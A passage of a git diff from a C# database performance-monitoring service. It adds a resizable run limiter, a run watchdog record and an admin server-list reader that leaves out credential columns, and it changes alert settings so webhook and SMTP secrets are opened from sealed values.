+        _logger.LogInformation("{Line}", AlertFiringLog.Resolved(displayName, safeName + " Resolved", message));
 
         try
         {
@@ -693,10 +715,10 @@ public static async Task WriteTeardownResolutionAsync(
         long ruleId, string ruleName, int serverId, string serverName, string reason)
     {
         var safeName = SanitizeDisplayText(ruleName, CustomAlertRuleStore.MaxNameLength);
-        var title = safeName + " Resolved";
-        var message = string.Create(CultureInfo.InvariantCulture, $"{serverName}: {safeName} resolved because {reason}");
+        var title = JudgedRuleName(safeName) + " Resolved";
+        var message = string.Create(CultureInfo.InvariantCulture, $"{serverName}: {JudgedRuleName(safeName)} resolved because {reason}");
 
-        logger?.LogInformation("{Line}", AlertFiringLog.Resolved(serverName, title, message));
+        logger?.LogInformation("{Line}", AlertFiringLog.Resolved(serverName, safeName + " Resolved", string.Create(CultureInfo.InvariantCulture, $"{serverName}: {safeName} resolved because {reason}")));
 
         try
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/CustomAlertRuleStore.cs b/Darling/PerformanceMonitor.Darling.Service/CustomAlertRuleStore.cs
index 3fe3748d0c..33e0131e85 100644
--- a/Darling/PerformanceMonitor.Darling.Service/CustomAlertRuleStore.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/CustomAlertRuleStore.cs
@@ -127,8 +127,8 @@ ORDER BY id
     /// A well-formed tree terminates on its own — leaf tags have no children, so the recursion frontier empties
     /// (long before the cap). The guaranteed terminator for a MALFORMED tree is <c>depth &lt; 64</c>: a cycle
     /// (A→B→A, or a self-parent A→A) keeps the frontier non-empty forever, and the depth predicate stops it after
-    /// at most 64 iterations rather than looping or crashing. 64 is far above the 4-level nesting the Viewer
-    /// enforces app-side, so a legitimate subtree is never truncated; the cap only ever bites a malformed cycle.
+    /// at most 64 iterations rather than looping or crashing. 64 is far above the 4-level nesting that
+    /// <c>ServerTagRules</c> enforces for every writer, so a legitimate subtree is never truncated; the cap only ever bites a malformed cycle.
     /// A <c>parent_id</c> pointing at a missing or unrelated row needs no special handling — the child-join finds
     /// no match, so that branch ends. <c>UNION</c> (not <c>UNION ALL</c>) collapses duplicate walk rows.</para></summary>
     public const string ListTagMembersSql = @"
diff --git a/Darling/PerformanceMonitor.Darling.Service/DailyRunLimiter.cs b/Darling/PerformanceMonitor.Darling.Service/DailyRunLimiter.cs
new file mode 100644
index 0000000000..24476fe73f
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DailyRunLimiter.cs
@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #4938, #4999: the limit on how many detached daily runs go at once, with a cap that can move while runs hold
+/// permits. A <see cref="SemaphoreSlim"/> cannot be resized, and the cap is derived from the store's connection
+/// pool and the sweep width (<see cref="DarlingWorker.DailyRunCapFor"/>), both of which an operator can change
+/// while the service is running.
+///
+/// <para>Widening hands the new permits to the runs that are waiting, oldest first. Narrowing never takes a permit
+/// back from a run that holds one: the runs already going finish, and no run starts until fewer than the new cap
+/// are going. A waiting run is never dropped, and one that is cancelled while it waits leaves the queue and
+/// takes no permit. Waiters are served in the order they arrived.</para>
+/// </summary>
+internal sealed class DailyRunLimiter
+{
+    private readonly object _lock = new();
+    private readonly LinkedList<TaskCompletionSource> _waiters = new();
+    private int _cap;
+    private int _inUse;
+
+    /// <summary>A limiter that lets <paramref name="cap"/> runs go at once (at least one).</summary>
+    internal DailyRunLimiter(int cap) => _cap = Math.Max(1, cap);
+
+    /// <summary>How many runs may go at once right now.</summary>
+    internal int Cap
+    {
+        get
+        {
+            lock (_lock)
+            {
+                return _cap;
+            }
+        }
+    }
+
+    /// <summary>How many runs hold a permit right now. It can exceed <see cref="Cap"/> after the cap is narrowed.</summary>
+    internal int InUse
+    {
+        get
+        {
+            lock (_lock)
+            {
+                return _inUse;
+            }
+        }
+    }
+
+    /// <summary>How many runs are waiting for a permit right now.</summary>
+    internal int Waiting
+    {
+        get
+        {
+            lock (_lock)
+            {
+                return _waiters.Count;
+            }
+        }
+    }
+
+    /// <summary>
+    /// Moves the cap to <paramref name="cap"/> (at least one) and hands any permit it frees to the waiting runs.
+    /// Returns whether the cap changed.
+    /// </summary>
+    internal bool SetCap(int cap)
+    {
+        List<TaskCompletionSource>? granted;
+        lock (_lock)
+        {
+            cap = Math.Max(1, cap);
+            if (cap == _cap)
+            {
+                return false;
+            }
+
+            _cap = cap;
+            granted = GrantWaitersLocked();
+        }
+
+        Complete(granted);
+        return true;
+    }
+
+    /// <summary>
+    /// Takes a permit when one is free and nobody is queued ahead, and says whether it did. Never waits. A run
+    /// that gets true must call <see cref="Release"/> once.
+    /// </summary>
+    internal bool TryAcquire()
+    {
+        lock (_lock)
+        {
+            if (_waiters.Count == 0 && _inUse < _cap)
+            {
+                _inUse++;
+                return true;
+            }
+
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// Takes a permit, waiting for one when all are in use. Ends with an <see cref="OperationCanceledException"/>
+    /// when <paramref name="cancellationToken"/> is cancelled while the run waits, and the run then holds
+    /// nothing. A run that is handed a permit at the moment of the cancel keeps it, as a semaphore does, and
+    /// must call <see cref="Release"/> once.
+    /// </summary>
+    internal async Task AcquireAsync(CancellationToken cancellationToken)
+    {
+        var waiter = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        LinkedListNode<TaskCompletionSource> node;
+        lock (_lock)
+        {
+            if (_waiters.Count == 0 && _inUse < _cap)
+            {
+                _inUse++;
+                return;
+            }
+
+            node = _waiters.AddLast(waiter);
+        }
+
+        using var registration = cancellationToken.Register(() => CancelWaiter(node, cancellationToken));
+        await waiter.Task.ConfigureAwait(false);
+    }
+
+    /// <summary>Gives a permit back and hands it to the oldest waiting run when the cap allows one more to go.</summary>
+    internal void Release()
+    {
+        List<TaskCompletionSource>? granted;
+        lock (_lock)
+        {
+            if (_inUse > 0)
+            {
+                _inUse--;
+            }
+
+            granted = GrantWaitersLocked();
+        }
+
+        Complete(granted);
+    }
+
+    private void CancelWaiter(LinkedListNode<TaskCompletionSource> node, CancellationToken cancellationToken)
+    {
+        lock (_lock)
+        {
+            if (node.List is null)
+            {
+                /* Already handed a permit: the run that waited keeps it. */
+                return;
+            }
+
+            _waiters.Remove(node);
+        }
+
+        node.Value.TrySetCanceled(cancellationToken);
+    }
+
+    private List<TaskCompletionSource>? GrantWaitersLocked()
+    {
+        List<TaskCompletionSource>? granted = null;
+        while (_inUse < _cap && _waiters.First is { } first)
+        {
+            _waiters.RemoveFirst();
+            _inUse++;
+            (granted ??= []).Add(first.Value);
+        }
+
+        return granted;
+    }
+
+    private static void Complete(List<TaskCompletionSource>? granted)
+    {
+        if (granted is null)
+        {
+            return;
+        }
+
+        foreach (var waiter in granted)
+        {
+            waiter.TrySetResult();
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DailyRunWatch.cs b/Darling/PerformanceMonitor.Darling.Service/DailyRunWatch.cs
new file mode 100644
index 0000000000..c8f2ac1110
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DailyRunWatch.cs
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #4999: one detached run as the hang watchdog sees it (<see cref="DarlingWorker.WatchDailyRuns"/>), a daily
+/// collector's run or one of the three that are detached by name: which server and collector it is, when it began
+/// executing, and whether the watchdog has warned about it yet. It is created once the run is executing (for a daily
+/// run, once it holds its permit), so the clock it carries is the run's own execution time and never the time it
+/// spent waiting for a permit, and it ends when the run does.
+/// </summary>
+internal sealed class DailyRunWatch : IDisposable
+{
+    private readonly Action<DailyRunWatch> _onEnded;
+    private int _warned;
+    private int _ended;
+
+    /// <summary>A watch for the run of <paramref name="collectorName"/> on one server, which began at <paramref name="startedUtc"/>.</summary>
+    /// <param name="serverId">The store's id for the server, which keys the run's single-flight slot.</param>
+    /// <param name="serverName">The server's display name, which is what the warning names.</param>
+    /// <param name="collectorName">The collector the run is for.</param>
+    /// <param name="holdsPermit">
+    /// Whether the run holds one of the fleet's daily-run permits while it executes: true for a daily run, false for a
+    /// run detached by name, which takes none. The warning says which, so it never claims a permit the run does not hold.
+    /// </param>
+    /// <param name="startedUtc">When the run began executing.</param>
+    /// <param name="onEnded">Called once, when the run ends and the watch is disposed.</param>
+    internal DailyRunWatch(
+        int serverId, string serverName, string collectorName, bool holdsPermit, DateTime startedUtc, Action<DailyRunWatch> onEnded)
+    {
+        ServerId = serverId;
+        ServerName = serverName;
+        CollectorName = collectorName;
+        HoldsPermit = holdsPermit;
+        StartedUtc = startedUtc;
+        _onEnded = onEnded;
+    }
+
+    /// <summary>The store's id for the server the run is for.</summary>
+    internal int ServerId { get; }
+
+    /// <summary>Whether the run holds a daily-run permit while it executes: a daily run does, a run detached by name does not.</summary>
+    internal bool HoldsPermit { get; }
+
+    /// <summary>The display name of the server the run is for.</summary>
+    internal string ServerName { get; }
+
+    /// <summary>The collector the run is for.</summary>
+    internal string CollectorName { get; }
+
+    /// <summary>When the run began executing.</summary>
+    internal DateTime StartedUtc { get; }
+
+    /// <summary>Whether the watchdog has already warned about this run. It warns once per run.</summary>
+    internal bool Warned => Volatile.Read(ref _warned) != 0;
+
+    /// <summary>Records that the watchdog has warned about this run. Written on the sweep loop and read when the run ends.</summary>
+    internal void MarkWarned() => Volatile.Write(ref _warned, 1);
+
+    /// <summary>Ends the watch when the run ends. Safe to call more than once: only the first call counts.</summary>
+    public void Dispose()
+    {
+        if (Interlocked.Exchange(ref _ended, 1) == 0)
+        {
+            _onEnded(this);
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingAdminServersReader.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingAdminServersReader.cs
new file mode 100644
index 0000000000..00d50e19bd
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingAdminServersReader.cs
@@ -0,0 +1,245 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The read behind the web Manage Servers grid (#5239): every CONFIGURED server, enabled or not, with the
+/// facts the desktop's Manage Servers window shows - whether collection is on, the authentication mode, the
+/// monthly cost and when the server was added - beside the engine, version and freshness the grid already had.
+///
+/// <para><b>Why not <c>list_servers</c>.</b> That tool filters <c>WHERE s.is_enabled</c> for every consumer (the
+/// MCP clients, the peers block) and must keep doing so, so a disabled server can never appear in it. This read
+/// starts from <c>config.config_monitored_servers</c>, the desired state, and left-joins the collected registry
+/// row, so a server that is configured but has not connected yet still has a row. A server that was removed is
+/// not configured and does not appear.</para>
+///
+/// <para><b>Credentials never leave the store.</b> The statement names the columns it reads, and none of them is
+/// a credential: no <c>username</c>, no <c>encrypted_password</c>, no remediation login. <c>auth</c> is a mode
+/// label ("sql" or "integrated"), not a secret. Every column below is in the <c>viewer</c> role's column grant
+/// (<see cref="DarlingManagedRoles.ViewerRestrictedConfigTables"/>).</para>
+///
+/// <para><b>Display-ready.</b> The browser computes nothing: status, auth and cost arrive as the words and the
+/// formatted string the grid paints, and the rows arrive in a total order.</para>
+/// </summary>
+internal static class DarlingAdminServersReader
+{
+    /// <summary>The route the Admin page's Servers tab reads.</summary>
+    internal const string Route = "/api/admin/servers";
+
+    /// <summary>
+    /// Configured servers with their collected registry row (if any) and newest collection. $-free, so a
+    /// test can pin the dialect ungated. The lateral probe is the same per-server ordered descent
+    /// <see cref="DarlingDataReader.ServerListSql"/> uses.
+    /// </summary>
+    internal const string AdminServersSql = """
+        SELECT
+            c.server_id,
+            c.name,
+            c.host,
+            c.database,
+            c.read_only_intent,
+            c.engine,
+            c.port,
+            c.auth,
+            c.is_enabled,
+            c.monthly_cost_usd,
+            c.created_at,
+            s.server_name,
+            s.display_name,
+            s.sql_major_version,
+            s.postgres_major_version,
+            s.sql_engine_edition,
+            s.engine_kind,
+            s.created_date,
+            latest.collection_time AS last_collection
+        FROM config.config_monitored_servers c
+        LEFT JOIN servers s ON s.server_id = c.server_id
+        LEFT JOIN LATERAL
+        (
+            SELECT cl.collection_time
+            FROM v_collection_log cl
+            WHERE cl.server_id = c.server_id
+            ORDER BY cl.collection_time DESC
+            LIMIT 1
+        ) AS latest ON TRUE
+        """;
+
+    /// <summary>One configured server, as read: the config fields plus the collected registry row's, null when
+    /// the server has not connected yet.</summary>
+    internal sealed record Row(
+        int ServerId,
+        string Name,
+        string Host,
+        string? Database,
+        bool ReadOnlyIntent,
+        string? Engine,
+        int Port,
+        string? Auth,
+        bool IsEnabled,
+        decimal MonthlyCostUsd,
+        DateTime CreatedAt,
+        string? CollectedServerName,
+        string? CollectedDisplayName,
+        int? SqlMajorVersion,
+        int? PostgresMajorVersion,
+        int? SqlEngineEdition,
+        string? EngineKind,
+        DateTime? RegisteredAt,
+        DateTime? LastCollection);
+
+    internal static async Task<List<Row>> ReadAsync(NpgsqlDataSource postgres, CancellationToken cancellationToken)
+    {
+        var rows = new List<Row>();
+        await using var command = postgres.CreateCommand(AdminServersSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            rows.Add(new Row(
+                reader.GetInt32(0),
+                reader.GetString(1),
+                reader.GetString(2),
+                reader.IsDBNull(3) ? null : reader.GetString(3),
+                reader.GetBoolean(4),
+                reader.IsDBNull(5) ? null : reader.GetString(5),
+                reader.GetInt32(6),
+                reader.IsDBNull(7) ? null : reader.GetString(7),
+                reader.GetBoolean(8),
+                reader.GetDecimal(9),
+                reader.GetDateTime(10),
+                reader.IsDBNull(11) ? null : reader.GetString(11),
+                reader.IsDBNull(12) ? null : reader.GetString(12),
+                reader.IsDBNull(13) ? null : reader.GetInt32(13),
+                reader.IsDBNull(14) ? null : reader.GetInt32(14),
+                reader.IsDBNull(15) ? null : reader.GetInt32(15),
+                reader.IsDBNull(16) ? null : reader.GetString(16),
+                reader.IsDBNull(17) ? null : reader.GetDateTime(17),
+                reader.IsDBNull(18) ? null : reader.GetDateTime(18)));
+        }
+
+        return rows;
+    }
+
+    /// <summary>The route's JSON body: <c>{server_count, servers[]}</c>, rows in the total order.</summary>
+    internal static string Render(IReadOnlyList<Row> rows, DateTime nowUtc) =>
+        JsonSerializer.Serialize(new { server_count = rows.Count, servers = Build(rows, nowUtc) }, McpHelpers.JsonOptions);
+
+    /// <summary>
+    /// The display-ready rows, ordered by display name (ordinal, ignoring case) then server name (ordinal), then server id -
+    /// the order is total, so two servers that share a display name keep one order on every read.
+    /// </summary>
+    internal static List<AdminServerRow> Build(IReadOnlyList<Row> rows, DateTime nowUtc)
+    {
+        var built = rows.Select(r => (Id: r.ServerId, Row: ToAdminServerRow(r, nowUtc))).ToList();
+        built.Sort((a, b) =>
+        {
+            var byDisplay = StringComparer.OrdinalIgnoreCase.Compare(a.Row.display_name, b.Row.display_name);
+            if (byDisplay != 0) return byDisplay;
+            var byName = string.CompareOrdinal(a.Row.server_name, b.Row.server_name);
+            return byName != 0 ? byName : a.Id.CompareTo(b.Id);
+        });
+        return built.Select(x => x.Row).ToList();
+    }
+
+    internal static AdminServerRow ToAdminServerRow(Row r, DateTime nowUtc)
+    {
+        /* The storage name the collectors stamp when the server has connected; the same name derived from the
+           config fields when it has not, so a not-yet-collected server is still named the way it will be. */
+        var serverName = string.IsNullOrEmpty(r.CollectedServerName)
+            ? ServerIdHelper.BuildStorageName(r.Host, r.Database, r.ReadOnlyIntent, r.Engine, r.Port)
+            : r.CollectedServerName;
+
+        /* The CONFIG name first, as the desktop Manage Servers window shows it, so a rename shows at once and not
+           only after the server reconnects; the collected name only fills in a blank config name. */
+        var displayName = !string.IsNullOrWhiteSpace(r.Name) ? r.Name
+            : !string.IsNullOrEmpty(r.CollectedDisplayName) ? r.CollectedDisplayName
+            : serverName;
+
+        var engineKind = r.EngineKind
+            ?? (MonitoredEngineKind.IsPostgres(r.Engine) ? MonitoredEngineKind.Postgres : MonitoredEngineKind.SqlServer);
+
+        return new AdminServerRow
+        {
+            server_id = r.ServerId,
+            server_name = serverName,
+            display_name = displayName,
+            engine = engineKind,
+            version = MonitoredEngineVersion.DescribeEngineVersion(
+                engineKind, r.SqlMajorVersion, r.PostgresMajorVersion, r.SqlEngineEdition),
+            freshness = DarlingMcpDataTools.FreshnessStatus(r.LastCollection, r.RegisteredAt, nowUtc),
+            read_only = r.ReadOnlyIntent || serverName.EndsWith(":RO", StringComparison.Ordinal),
+            last_collected = r.LastCollection?.ToString("o", CultureInfo.InvariantCulture),
+            status = r.IsEnabled ? "Enabled" : "Disabled",
+            auth = AuthLabel(r.Auth, engineKind),
+            monthly_cost = CostLabel(r.MonthlyCostUsd),
+            monthly_cost_usd = r.MonthlyCostUsd,
+            added = r.CreatedAt.ToString("o", CultureInfo.InvariantCulture),
+        };
+    }
+
+    /// <summary>
+    /// The Auth column's words for a row of this engine. A PostgreSQL target stores the same "sql" mode as a SQL Server
+    /// login, but "SQL Server" on a PostgreSQL row read as the wrong product (click-through 12), so its stored password
+    /// login is "Username and password". Every other mode, and every SQL Server row, reads as <see cref="AuthLabel(string?)"/>.
+    /// </summary>
+    internal static string? AuthLabel(string? auth, string engineKind) =>
+        MonitoredEngineKind.IsPostgres(engineKind) && string.Equals(auth, "sql", StringComparison.OrdinalIgnoreCase)
+            ? "Username and password"
+            : AuthLabel(auth);
+
+    /// <summary>The desktop's words for the stored mode; a mode this build does not know is shown as stored.</summary>
+    internal static string? AuthLabel(string? auth) => auth switch
+    {
+        null or "" => null,
+        _ when string.Equals(auth, "sql", StringComparison.OrdinalIgnoreCase) => "SQL Server",
+        _ when string.Equals(auth, "integrated", StringComparison.OrdinalIgnoreCase) => "Windows",
+        _ => auth,
+    };
+
+    /// <summary>"$1,234" (invariant culture, halves away from zero), always formatted like the desktop: 0 is
+    /// "$0", 0.4 is "$0", -5 is "-$5". The stored column is NOT NULL, so there is no null case.</summary>
+    internal static string CostLabel(decimal monthlyCostUsd) =>
+        Math.Round(monthlyCostUsd, 0, MidpointRounding.AwayFromZero).ToString("$#,##0", CultureInfo.InvariantCulture);
+
+    /// <summary>One grid row. Field names are the grid's column keys, except <see cref="server_id"/>.</summary>
+    internal sealed class AdminServerRow
+    {
+        /// <summary>The configured server's id (<c>config_monitored_servers.server_id</c>), the handle the web's Edit action
+        /// sends to the by-id read and the edit route (#5240). It is not a grid column and is not a credential: both routes
+        /// check that the sign-in may edit before they look at the id.</summary>
+        public int server_id { get; init; }
+
+        public string server_name { get; init; } = "";
+        public string display_name { get; init; } = "";
+        public string engine { get; init; } = "";
+        public string version { get; init; } = "";
+        public string freshness { get; init; } = "";
+        public bool read_only { get; init; }
+        public string? last_collected { get; init; }
+        public string status { get; init; } = "";
+        public string? auth { get; init; }
+        public string? monthly_cost { get; init; }
+
+        /// <summary>The figure behind <see cref="monthly_cost"/>, for the column's sort only.</summary>
+        public decimal monthly_cost_usd { get; init; }
+        public string added { get; init; } = "";
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingAlertDeliverer.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingAlertDeliverer.cs
index 33c311837e..59a704004f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingAlertDeliverer.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingAlertDeliverer.cs
@@ -107,6 +107,12 @@ public Task DeliverAsync(AlertOutcome outcome, CancellationToken cancellationTok
             throw new ArgumentNullException(nameof(outcome));
         }
 
+        /* #5320 (part of #4348): the statement filter runs at this choke point, so a caller that hands an outcome
+           straight here (the PostgreSQL families, the self alerts, the custom alert rules) is filtered like an
+           engine alert. An outcome AlertEngine.FireAsync already filtered is remembered by the filter and passes
+           through untouched, so nothing is judged twice. Never throws. */
+        outcome = AlertStatementFilter.Apply(outcome);
+
         try
         {
             /* #1236/#1141: a per-server override wins over the global mode; Per-event splits an
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingAlertReadAdapter.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingAlertReadAdapter.cs
index 9c057e733b..2977575c9b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingAlertReadAdapter.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingAlertReadAdapter.cs
@@ -807,6 +807,9 @@ private async Task<List<PoisonWaitAccumulation>> GetPoisonWaitAccumulationCoreAs
 
     /* ---------------- long-running queries ---------------- */
 
+    /// <summary>The characters of a statement the long-running-query alert prints (#5320: judged whole, then cut to this).</summary>
+    internal const int AlertStatementPreviewLength = 300;
+
     /// <summary>
     /// Lite's long-running-query read with the two PG dialect adjustments: DuckDB's bare
     /// <c>NOW() - INTERVAL '10 MINUTES'</c> becomes the parameterized naive-UTC $4 (a bare
@@ -845,7 +848,7 @@ WITH candidates AS (
     SELECT
         r.session_id,
         r.database_name,
-        SUBSTRING(r.query_text, 1, 300) AS query_text,
+        r.query_text,
         r.total_elapsed_time_ms / 1000 AS elapsed_seconds,
         r.cpu_time_ms,
         r.reads,
@@ -987,7 +990,9 @@ is applied in this statement ahead of LIMIT and no ordinal the knob bound before
                 {
                     SessionId = reader.IsDBNull(0) ? 0 : reader.GetInt32(0),
                     DatabaseName = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                    QueryText = reader.IsDBNull(2) ? "" : reader.GetString(2),
+                    /* #5320: the whole statement is judged, then cut to the alert's 300 characters here. The read used to cut
+                       in SQL (SUBSTRING), so a value early in a batch whose naming text sat past the 300th character read clean. */
+                    QueryText = reader.IsDBNull(2) ? "" : McpHelpers.StatementPreview(reader.GetString(2), AlertStatementPreviewLength) ?? "",
                     ElapsedSeconds = reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
                     CpuTimeMs = reader.IsDBNull(4) ? 0 : reader.GetInt64(4),
                     Reads = reader.IsDBNull(5) ? 0 : reader.GetInt64(5),
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs
index 09c809ab75..67fdeaf33c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using Microsoft.Extensions.Logging;
 using PerformanceMonitor.Alerting;
 using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Storage;
@@ -29,10 +30,93 @@ namespace PerformanceMonitor.Darling.Service;
 public sealed class DarlingAlertSettings : IAlertEngineSettings, IAlertSettings
 {
     private readonly DarlingConfig _config;
+    private readonly IPasswordKeyRing? _ring;
+    private readonly ILogger? _logger;
+    private readonly object _openedLock = new();
+    private string? _openedSignature;
+    private OpenedWebhooks? _opened;
+    private HashSet<string> _reportedFailures = new(StringComparer.Ordinal);
 
-    public DarlingAlertSettings(DarlingConfig config)
+    /// <summary>The opened values a delivery snapshot is frozen on (#5366); null on the live settings.</summary>
+    private readonly OpenedWebhooks? _pinned;
+
+    public DarlingAlertSettings(DarlingConfig config, ILogger? logger = null, IPasswordKeyRing? ring = null)
     {
         _config = config ?? throw new ArgumentNullException(nameof(config));
+        _logger = logger;
+        _ring = ring;
+    }
+
+    /// <summary>A snapshot: this settings object with its opened webhook values frozen at <paramref name="pinned"/>.</summary>
+    private DarlingAlertSettings(DarlingAlertSettings live, OpenedWebhooks pinned)
+        : this(live._config, live._logger, live._ring)
+    {
+        _pinned = pinned;
+    }
+
+    /// <summary>One frozen view of the webhook settings for one delivery (#5366): the URLs, headers, body template,
+    /// region flag, proxies and routes all come from one opening of the saved values, so a change saved while the delivery
+    /// is in flight does not move a later channel of that delivery. The rest of the settings read live, as before.</summary>
+    IAlertSettings IAlertSettings.SnapshotForDelivery() => new DarlingAlertSettings(this, Opened);
+
+    /// <summary>
+    /// The webhook settings and routes with their sealed values opened (#5366). Opened on the first read and again only
+    /// when a stored value, a route or the password key's state changes, so a sealed value is not opened for every read.
+    /// A value that will not open turns its channel off and is reported once per change.
+    /// </summary>
+    private OpenedWebhooks Opened
+    {
+        get
+        {
+            if (_pinned is not null)
+            {
+                return _pinned;
+            }
+
+            var ring = _ring ?? DarlingPasswordKey.Current;
+            var webhooks = _config.Webhooks;
+            var routes = _config.NotificationRoutes;
+            var signature = DarlingWebhookSecrets.Signature(webhooks, routes, ring.Status);
+            lock (_openedLock)
+            {
+                if (_opened is not null && string.Equals(_openedSignature, signature, StringComparison.Ordinal))
+                {
+                    return _opened;
+                }
+
+                var opened = DarlingWebhookSecrets.Open(webhooks, routes, ring);
+                var now = new HashSet<string>(StringComparer.Ordinal);
+                foreach (var failure in opened.Failures)
+                {
+                    now.Add(failure.Text);
+                    if (!_reportedFailures.Contains(failure.Text))
+                    {
+                        _logger?.LogError("{Failure}", failure.Text);
+                    }
+                }
+
+                _reportedFailures = now;
+                _opened = opened;
+                _openedSignature = signature;
+                return opened;
+            }
+        }
+    }
+
+    /// <summary>The health text of each webhook channel whose saved value will not open, one entry per value. Empty when
+    /// every saved value opens or is not sealed.</summary>
+    public IReadOnlyList<string> WebhookChannelProblems
+    {
+        get
+        {
+            var texts = new List<string>();
+            foreach (var failure in Opened.Failures)
+            {
+                texts.Add(failure.Text);
+            }
+
+            return texts;
+        }
     }
 
     /* ---------------- IAlertEngineSettings (thresholds) ---------------- */
@@ -287,7 +371,7 @@ reset the knob on every worker start. The rung's DEFAULT and the AlertsConfig in
     public string SmtpRecipients => _config.Smtp.To;
 
     /// <summary>
-    /// The SMTP password: smtp.encryptedPassword (DPAPI, Windows, preferred) else smtp.password — a
+    /// The SMTP password: smtp.encryptedPassword (a sealed value, or DPAPI on Windows; preferred) else smtp.password — a
     /// literal or an <c>env:</c>/<c>file:</c> reference (#1804), the only non-Windows email path; null
     /// when neither is set. Called inside EmailSendCore's send try/catch, so a decrypt/dereference
     /// failure surfaces as that alert's send_error rather than killing the sweep.
@@ -297,13 +381,9 @@ reset the knob on every worker start. The rung's DEFAULT and the AlertsConfig in
         var blob = _config.Smtp.EncryptedPassword;
         if (!string.IsNullOrWhiteSpace(blob))
         {
-            if (!OperatingSystem.IsWindows())
-            {
-                throw new PlatformNotSupportedException(
-                    "smtp.encryptedPassword requires Windows (DPAPI); use smtp.password with an env:/file: reference on other platforms.");
-            }
-
-            return DarlingSecrets.Unprotect(blob);
+            /* #5366: a reference, then a sealed value (opened for this SMTP connection), then an old-format value on Windows
+               when darling.json declares it or its pin still matches. Every refusal throws before anything is sent. */
+            return DarlingSecrets.ResolveSmtpPassword(_config.Smtp);
         }
 
         var password = _config.Smtp.Password;
@@ -317,34 +397,36 @@ reset the knob on every worker start. The rung's DEFAULT and the AlertsConfig in
 
     public int EmailCooldownMinutes => Math.Clamp(_config.Smtp.EmailCooldownMinutes, 1, 120);
 
-    public bool TeamsWebhookEnabled => !string.IsNullOrWhiteSpace(_config.Webhooks.TeamsUrl);
-    public string TeamsWebhookUrl => _config.Webhooks.TeamsUrl;
-    public string TeamsProxyAddress => _config.Webhooks.TeamsProxy;
+    public bool TeamsWebhookEnabled => !string.IsNullOrWhiteSpace(Opened.Webhooks.TeamsUrl);
+    public string TeamsWebhookUrl => Opened.Webhooks.TeamsUrl;
+    public string TeamsProxyAddress => Opened.Webhooks.TeamsProxy;
 
-    public bool SlackWebhookEnabled => !string.IsNullOrWhiteSpace(_config.Webhooks.SlackUrl);
-    public string SlackWebhookUrl => _config.Webhooks.SlackUrl;
-    public string SlackProxyAddress => _config.Webhooks.SlackProxy;
+    public bool SlackWebhookEnabled => !string.IsNullOrWhiteSpace(Opened.Webhooks.SlackUrl);
+    public string SlackWebhookUrl => Opened.Webhooks.SlackUrl;
+    public string SlackProxyAddress => Opened.Webhooks.SlackProxy;
 
     /* Generic webhook (#1506) — enabled by a non-empty URL, the same no-speculative-enable-flag derivation
        the sibling channels use. */
-    public bool GenericWebhookEnabled => !string.IsNullOrWhiteSpace(_config.Webhooks.GenericUrl);
-    public string GenericWebhookUrl => _config.Webhooks.GenericUrl;
-    public string GenericWebhookHeadersJson => _config.Webhooks.GenericHeaders;
-    public string GenericWebhookBodyTemplate => _config.Webhooks.GenericBodyTemplate;
-    public string GenericWebhookProxyAddress => _config.Webhooks.GenericProxy;
+    public bool GenericWebhookEnabled => !string.IsNullOrWhiteSpace(Opened.Webhooks.GenericUrl);
+    public string GenericWebhookUrl => Opened.Webhooks.GenericUrl;
+    public string GenericWebhookHeadersJson => Opened.Webhooks.GenericHeaders;
+    public string GenericWebhookBodyTemplate => Opened.Webhooks.GenericBodyTemplate;
+    public string GenericWebhookProxyAddress => Opened.Webhooks.GenericProxy;
 
     /* PagerDuty webhook — enabled by a non-empty routing key, like the sibling channels. */
